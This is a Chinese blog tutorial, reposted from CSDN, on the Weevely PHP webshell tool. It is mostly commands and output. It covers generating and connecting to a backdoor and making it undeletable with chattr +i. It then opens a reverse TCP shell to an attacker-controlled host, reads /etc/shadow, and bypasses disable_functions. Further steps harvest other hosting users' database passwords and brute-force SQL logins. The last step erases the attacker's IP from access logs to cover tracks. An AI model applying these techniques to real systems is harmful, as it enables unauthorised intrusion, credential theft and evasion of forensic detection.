• Weevely(Linux中的菜刀)


    基本用法
    root@kali:~# weevely

    [+] weevely 3.2.0
    [!] Error: too few arguments

    [+] Run terminal to the target //连接后门
    weevely <URL> <password> [cmd]

    [+] Load session file
    weevely session <path> [cmd]

    [+] Generate backdoor agent //生成后门
    weevely generate <password> <path>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    后门生成
    weevely generate <连接密码> <path>
    1
    生成一个后门木马:

    root@kali:~# weevely generate test hello.php
    Generated backdoor with password 'test' in 'hello.php' of 1486 byte size. root@kali:~# find / -name hello.php
    /usr/share/weevely/hello.php
    1
    2
    3
    连接后门
    weevely <url> <连接密码>
    1
    root@kali:~# weevely http://192.168.110.129/hello.php test

    [+] weevely 3.2.0

    [+] Target: winxp-0947be9ad:C:phpstudyWWW
    [+] Session: /root/.weevely/sessions/192.168.110.129/hello_0.session
    [+] Shell: System shell

    [+] Browse the filesystem or execute commands starts the connection
    [+] to the target. Type :help for more information.

    weevely>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    最后可以chattr +i webshell.php给后门加个权限(chattr +i不得任意更动文件或目录),然后试试root能不能删除吧(仅限linux上)。嘿嘿!

    weevely模块
    在虚拟终端模式下需要使用模块直接在前面加上冒号 ’ : ’ 即可

    :shell_su 通过更变使用者来执行shell命令,可以获得root权限来执行命令.
    :shell_sh 执行 shell 命令.
    :shell_php 执行 PHP 命令.
    :system_extensions 收集PHP和webserver扩展列表
    :system_info 收集系统信息
    :system_procs 列出正在运行的进程
    :audit_disablefunctionbypass 使用mod_cgi和.htaccess绕过系统禁用函数的限制。它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell
    :audit_etcpasswd 查看/etc/passwd文件
    :audit_suidsgid 查找带有SUID或SGID标志的文件。
    :audit_phpconf 查看php配置信息
    :audit_filesystem 审核文件系统的弱权限。枚举各种系统目录并寻找可读写执行的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等
    :backdoor_reversetcp 执行反向TCP shell. 需要nc -lvp <port>监听
    :backdoor_tcp 在TCP端口上生成shell
    :net_scan TCP端口扫描.
    :net_mail 发送邮件.
    :net_ifconfig 获取网络接口地址.
    :net_curl 执行类似curl的HTTP请求.
    :net_proxy 运行本地代理以通过目标转移HTTP / HTTPS浏览
    :net_phpproxy 在目标上安装PHP代理.
    :bruteforce_sql 可用来猜解数据库密码.
    :file_find 查找具有给定名称和属性的文件.
    :file_download 从远程文件系统下载文件.
    :file_check 获取文件的属性和权限.
    :file_touch 更改文件时间戳.
    :file_cd 更改当前工作目录.
    :file_grep 打印与多个文件中的模式匹配的行.
    :file_gzip 压缩或解压gzip文件.
    :file_tar 压缩或解压tar文件.
    :file_enum 检查路径列表的存在和权限
    :file_bzip2 压缩或解压bzip2文件.
    :file_mount 使用HTTPfs挂载远程文件系统.
    :file_clearlog 从文件中删除字符串.
    :file_zip 压缩或解压zip文件.
    :file_cp 复制单个文件.
    :file_upload2web 自动将文件上传到Web文件夹并获取相应的URL.
    :file_edit 在本地编辑器上编辑远程文件.
    :file_read 从远程文件系统中读取远程文件.
    :file_webdownload 指定URL下载文件.
    :file_upload 文件上载到远程文件系统.
    :file_ls 列出目录内容.
    :file_rm 删除远程文件.
    :sql_dump Multi dbms mysqldump replacement.
    :sql_console 执行SQL查询或运行sql控制台.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    几个模块的使用:
    :shell_su模块
    weevely> :shell_su
    error: the following arguments are required: passwd, command
    usage: shell_su [-h] [-user USER] [-stderr_redirection STDERR_REDIRECTION]
    [-vector-sh {system,passthru,shell_exec,exec,popen,proc_open,perl_system,pcntl}]
    [-vector {sh_expect,pyexpect}]
    passwd command [command ...]

    Execute commands with su.

    positional arguments: //位置参数(必须)
    passwd User's password
    command Shell command

    optional arguments: //可选参数
    -h, --help show this help message and exit
    -user USER User to run the command with
    -stderr_redirection STDERR_REDIRECTION
    -vector-sh {system,passthru,shell_exec,exec,popen,proc_open,perl_system,pcntl}
    -vector {sh_expect,pyexpect}
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    一般形式:

    :shell_su -user root <密码> <要执行的命令>
    1
    **通过更变使用者来执行shell命令,可以获得root权限来执行命令。**如一般情况下,/etc/shadow这个文件普通用户是不能查看的,需要升级为root用户,就可以这样:

    :shell_su -user root 657260 cat /etc/shadow
    1
    :system_info模块
    收集系统信息

    www-data@Kali:/ $ :system_info -h
    usage: system_info [-h]
    [-info {document_root,whoami,hostname,pwd,open_basedir,safe_mode,script,script_folder,uname,os,client_ip,max_execution_time,php_self,dir_sep,php_version} [{document_root,whoami,hostname,pwd,open_basedir,safe_mode,script,script_folder,uname,os,client_ip,max_execution_time,php_self,dir_sep,php_version} ...]]

    Collect system information.

    optional arguments:
    -h, --help show this help message and exit
    -info {document_root,whoami,hostname,pwd,open_basedir,safe_mode,script,script_folder,uname,os,client_ip,max_execution_time,php_self,dir_sep,php_version} [{document_root,whoami,hostname,pwd,open_basedir,safe_mode,script,script_folder,uname,os,client_ip,max_execution_time,php_self,dir_sep,php_version} ...]
    Select information
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    选项-info,用来查看某一项信息,如以下命令用来查看本机(攻击者)ip:

    :system_info -info client_ip
    1
    也可以直接:system_info列出全部信息


    :audit_disablefunctionbypass模块
    使用mod_cgi和.htaccess绕过系统禁用函数disable_function的限制。它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell。

    weevely>
    www-data@target:/var/www/html PHP> :audit_disablefunctionbypass
    [-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved'
    [-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved'
    [-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
    CGI shell replacement $ ps -aux
    PID TTY TIME CMD
    24693 ? 00:00:00 apache2
    24694 ? 00:00:00 apache2
    24695 ? 00:00:00 apache2
    24696 ? 00:00:00 apache2
    24697 ? 00:00:00 apache2
    24859 ? 00:00:00 acubu.ved
    24864 ? 00:00:00 ps

    CGI shell replacement $ quit
    www-data@emilio-lin:/var/www/html PHP>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    :audit_etcpasswd模块
    用来直接查看/etc/passwd文件,可使用-real参数来过滤出真实用户

    www-data@Kali:/ $ :audit_etcpasswd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
    ......
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    :backdoor_reversetcp模块
    执行反向TCP shell. 需要nc -lvp <port>监听

    www-data@Kali:/ $ :backdoor_reversetcp
    error: the following arguments are required: lhost, port
    usage: backdoor_reversetcp [-h] [-shell SHELL] [-no-autonnect]
    [-vector {netcat_bsd,netcat,python,devtcp,perl,ruby,telnet,python_pty}]
    lhost port

    Execute a reverse TCP shell.

    positional arguments: //必须
    lhost Local host
    port Port to spawn

    optional arguments:
    -h, --help show this help message and exit
    -shell SHELL Specify shell
    -no-autonnect Skip autoconnect
    -vector {netcat_bsd,netcat,python,devtcp,perl,ruby,telnet,python_pty}
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    先用kali监听3366端口,
    nc -lvp 3366

    再用weevely

    backdoor_reversetcp 192.168.1.9 3366
    1


    :audit.phpconf
    查看php配置信息


    使用技巧
    获取其他用户的凭据
    本技巧演示如何在共享的托管服务器上获取其他用户凭据
    1、查找包含其他web用户的文件夹

    weevely> ls
    .
    ..
    members
    www-data@target:/var/www PHP> cd members
    www-data@target:/var/www/members PHP> ls
    .
    ..
    alefst
    anssot
    latrwo
    leempt
    martol
    natsta
    rogjas
    rotozy
    tstanc
    virots
    yynost
    www-data@target:/var/www/members PHP>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    2、使用grep命令查找其他用户存储在php脚本中的密码

    www-data@target:/var/www/members PHP> grep . '^[^*/#]*passw?o?r?d?'

    ./virots/config.php:$CFG->dbpass = 'FFFklasdhas()asdjj'; // your database password
    ./anssot/moodle/config.php:$CFG->dbpass = 'kasdhBSAUIGS77&'; // your database password
    ./leempt/wp/wp-config.php:define('DB_PASSWORD', 'AShasjdh177!@');
    ./alefst/wordpress/wp-config.php:define('DB_PASSWORD', 'ajhfaifh123!');
    ./martol/wordpress/wp-config.php:define('DB_PASSWORD', 'monkeydust1234');
    ./yynost/sites/default/settings.php: 'password' => 'XXyyynotsgoghia(XX',
    ./martol/drupal-7.x/sites/default/settings.php: 'password' => 'jhj@&&hgdas98k',
    ./natsta/drupal/sites/default/settings.php: 'password' => '99copacabana',
    www-data@target:/var/www/members PHP>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    3、我们发现一些连接数据库的语句。

    www-data@target:/var/www/members PHP> grep . 'mysql_conn'
    ./rotozy/joosep-lineon/db.php:$g_link = mysql_connect( '10.4.4.24', 'rotozy', 'rotozy123') or die();
    www-data@target:/var/www/members PHP>
    1
    2
    3
    发现密码
    4、我们可以使用sql_console模块来连接

    www-data@target:/var/www/members PHP> :sql_console -user rotozy -passwd rotozy123 -host 10.4.4.7
    rotozy@server7 SQL> SELECT USER();
    +----------------+
    | rotozy@server7 |
    +----------------+
    rotozy@server7 SQL>
    1
    2
    3
    4
    5
    6
    绕过策略读取/etc/passwd
    某些php配置阻止了对系统文件的任何直接访问(参见open_basedir),但是这些文件对于权限提升很有帮助,这时候我们就要想方法绕过了。weevely中的模块audit_etcpasswd帮我们解决了这个问题。
    1、我们先尝试直接访问目标文件

    www-data@target:/var/www/html PHP> cd /etc
    [-][cd] Failed cd '/etc': no such directory or permission denied
    www-data@target:/var/www/html PHP> cat /etc/passwd
    [-][download] File download failed, please check remote path and permissions
    1
    2
    3
    4
    2、不能访问,我们来使用模块audit_etcpasswd

    www-data@target:/var/www/html PHP> :audit_etcpasswd --help
    usage: audit_etcpasswd [-h] [-real]
    [-vector {posix_getpwuid,file,fread,file_get_contents,base64}]

    Get /etc/passwd with different techniques.

    optional arguments:
    -h, --help show this help message and exit
    -real Filter only real users
    -vector {posix_getpwuid,file,fread,file_get_contents,base64}

    www-data@target:/var/www/html PHP> :audit_etcpasswd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    yzer:x:1000:1000:yzer,,,:/home/yzer:/bin/bash
    www-data@target:/var/www/html PHP>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    可以看见成功读取。

    有时不能读取的目录也可以用chmod 777 /目录/ 来赋予权限。

    猜解SQL用户凭据
    本技巧教大家如何猜解多个SQL用户的凭据。

    1、先来查看用户,无法直接查看,请看上面一个技巧

    www-data@target:/var/www/html PHP> cd ..
    [-][cd] Failed cd '..': no such directory or permission denied
    www-data@target:/var/www/html PHP> cat /etc/passwd
    [-][download] File download failed, please check remote path and permissions
    www-data@target:/var/www/html PHP> :audit_etcpasswd -real // Filter only real users
    root:x:0:0:root:/root:/bin/bash
    roblast:x:1000:1000:roblast,,,:/home/roblast:/bin/bash
    micjanost:x:1001:1001:micjanost,,,:/home/micjanost:/bin/bash
    pjgomes:x:1002:1002:pjgomes,,,:/home/pjgomes:/bin/bash
    pdpeers:x:1003:1003:pdpeers,,,:/home/pdpeers:/bin/bash
    www-data@target:/var/www/html PHP>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    2、使用bruteforce_sql猜解密码

    www-data@target:/var/www/html PHP> :bruteforce_sql mysql -users roblast micjanost pjgomes pdpeers root -fpwds wordlists/huge.txt #制定了多个用户和一个字典
    roblast:reckoned
    pjgomes:national
    root:Gilchrist
    www-data@target:/var/www/html PHP>
    1
    2
    3
    4
    5
    同时爆破多个用户的密码

    3、成功猜解出三个用户密码,我们使用sql_console连接

    www-data@target:/var/www/html PHP> :sql_console -u root -p Gilchrist
    root@localhost SQL> show databases;
    +--------------------+
    | mysql |
    | performance_schema |
    | test |
    | appdb |
    +--------------------+
    root@localhost SQL>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    日志清理
    本技巧教大家如何清除服务器中的跟踪记录。

    1、首先找到日志存放的文件夹,下例是存放在log文件夹中

    weevely> ls
    .
    ..
    htdocs
    logs
    cpanel
    .profile
    cgi-bin
    member@target:/home/member PHP> cd logs
    member@target:/home/member/logs PHP> ls
    .
    ..
    access.log
    member@target:/home/member/logs PHP>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    2、我们使用system_info命令找到我们自己的ip

    member@target:/home/member/logs PHP> :system_info -info client_ip
    174.122.136.104
    member@target:/home/member/logs PHP>
    1
    2
    3
    3、我们使用grep命令来确认我们的ip记录在日志文件中

    member@target:/home/member/logs PHP> grep access.log 174.122.136.104

    174.122.136.104 - - [21/Apr/2015:20:37:04 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.co.uz/url?sa=t&rct=j&source=web&cd=136&ved=d7fQaxNTP&ei=qpG-lx-Uque6l97bG_EZfE&usg=FL237uTSYjAc8DC-d971rS4UUPyWV13nyK" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3"
    174.122.136.104 - - [21/Apr/2015:20:34:01 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=200QawVTBiv_BPoQJdoQhA-yTa66mtGaEA" "Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR)"
    174.122.136.104 - - [21/Apr/2015:20:28:24 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.com.uy/url?sa=t&rct=j&source=web&cd=183&ved=DJY1U23wu&ei=GfRq0HsncZ7nn32louwyv0&usg=oYydfzk5nYywMujSFCTAmFvz3i3U7IYMDW" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729)"
    1
    2
    3
    4
    5
    4、我们可以看到我们IP地址的活动已经被记录,我们可以再次使用grep,然后从日志中删除我们的ip,然后将其保存到临时文件中

    member@target:/home/member/logs PHP> grep access.log -v 174.122.136.104 -output cleaned.log
    member@target:/home/member/logs PHP>
    1
    2
    讲解:这里,grep -v 或 --revert-match 是显示不包含匹配文本的所有行,然后输出到cleaned.log中,再把原文件access.log删除,又cleaned.log替换access.log。
    5、让我们来测试看看cleaned.log中是否已经没有了174.122.136.104的内容

    member@target:/home/member/logs PHP> grep cleaned.log 174.122.136.104
    member@target:/home/member/logs PHP>
    1
    2
    6、然后我们就可以用cleaned.log来替换access.log

    member@target:/home/member/logs PHP> rm access.log
    member@target:/home/member/logs PHP> cp cleaned.log access.log
    member@target:/home/member/logs PHP> rm cleaned.log
    1
    2
    3
    绕过系统禁用函数(disable_function)
    我们将使用的是audit_disablefunctionbypass模块,它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell。

    weevely>
    www-data@target:/var/www/html PHP> :audit_disablefunctionbypass
    [-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved'
    [-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved'
    [-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
    CGI shell replacement $ ps -aux
    PID TTY TIME CMD
    24693 ? 00:00:00 apache2
    24694 ? 00:00:00 apache2
    24695 ? 00:00:00 apache2
    24696 ? 00:00:00 apache2
    24697 ? 00:00:00 apache2
    24859 ? 00:00:00 acubu.ved
    24864 ? 00:00:00 ps

    CGI shell replacement $ quit
    www-data@emilio-lin:/var/www/html PHP>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    weevely并不止本文所介绍的这些技巧,具体还是要大家多使用,这样才能发现更多的奇淫技巧,也欢迎大家来分享自己的心得
    ————————————————
    版权声明:本文为CSDN博主「WHOAMIAnony」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
    原文链接:https://blog.csdn.net/qq_45521281/article/details/106587791

  • 相关阅读:
    用MySQL的注意事项
    在win下mysql备份恢复命令概述
    SQL查询结果集对注入的影响与利用
    DIV CSS完美兼容IE6/IE7/FF的通用方法
    使用css实现透视的效果
    ASP.NET几个性能优化的方法
    ASP.NET实现页面传值的几种方法
    ASP.NET配置文件Web.config 详细解释
    黑客域名劫持攻击详细步骤
    FCKeditor的几点修改小结
  • 原文地址:https://www.cnblogs.com/albertzhangyu/p/14777836.html
Copyright © 2020-2023  润新知